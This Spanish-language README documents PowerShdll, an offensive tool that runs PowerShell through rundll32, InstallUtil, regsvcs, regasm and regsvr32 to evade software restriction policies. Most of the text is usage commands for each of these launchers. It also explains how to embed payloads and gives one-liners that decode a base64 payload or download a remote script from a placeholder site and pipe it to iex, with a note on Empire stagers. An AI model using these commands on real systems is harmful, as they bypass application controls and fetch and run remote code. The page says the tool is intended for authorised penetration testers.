
Ejecutar PowerShell con rundll32. Evadir restricciones de software.
Ejecutar PowerShell solo con dlls.
No requiere acceso a powershell.exe ya que utiliza las dlls de automatización de PowerShell.
PowerShdll se puede ejecutar con: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe o como un ejecutable independiente.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Los payloads se pueden incrustar modificando la variable "payload" en el método start del archivo common.cs. Si un payload está incrustado, todos los demás argumentos serán ignorados y el payload se ejecutará al ejecutar PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: Los stagers de Empire necesitan ser decodificados usando [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Algunos errores no parecen mostrarse en la salida. Puede resultar confuso ya que comandos como Import-Module no muestran un error al fallar. Asegúrese de haber escrito sus comandos correctamente.
En modo dll, el modo interactivo y la salida de comandos dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene una consola, use el modificador -n para no mostrar la salida, de lo contrario la aplicación fallará.
Debido a la forma en que Rundll32 maneja los argumentos, el uso de varios espacios entre los modificadores y los argumentos puede causar problemas. Los espacios múltiples dentro de los scripts están bien.
Este proyecto está destinado a investigadores de seguridad y testers de penetración y solo debe utilizarse con la aprobación de los propietarios del sistema.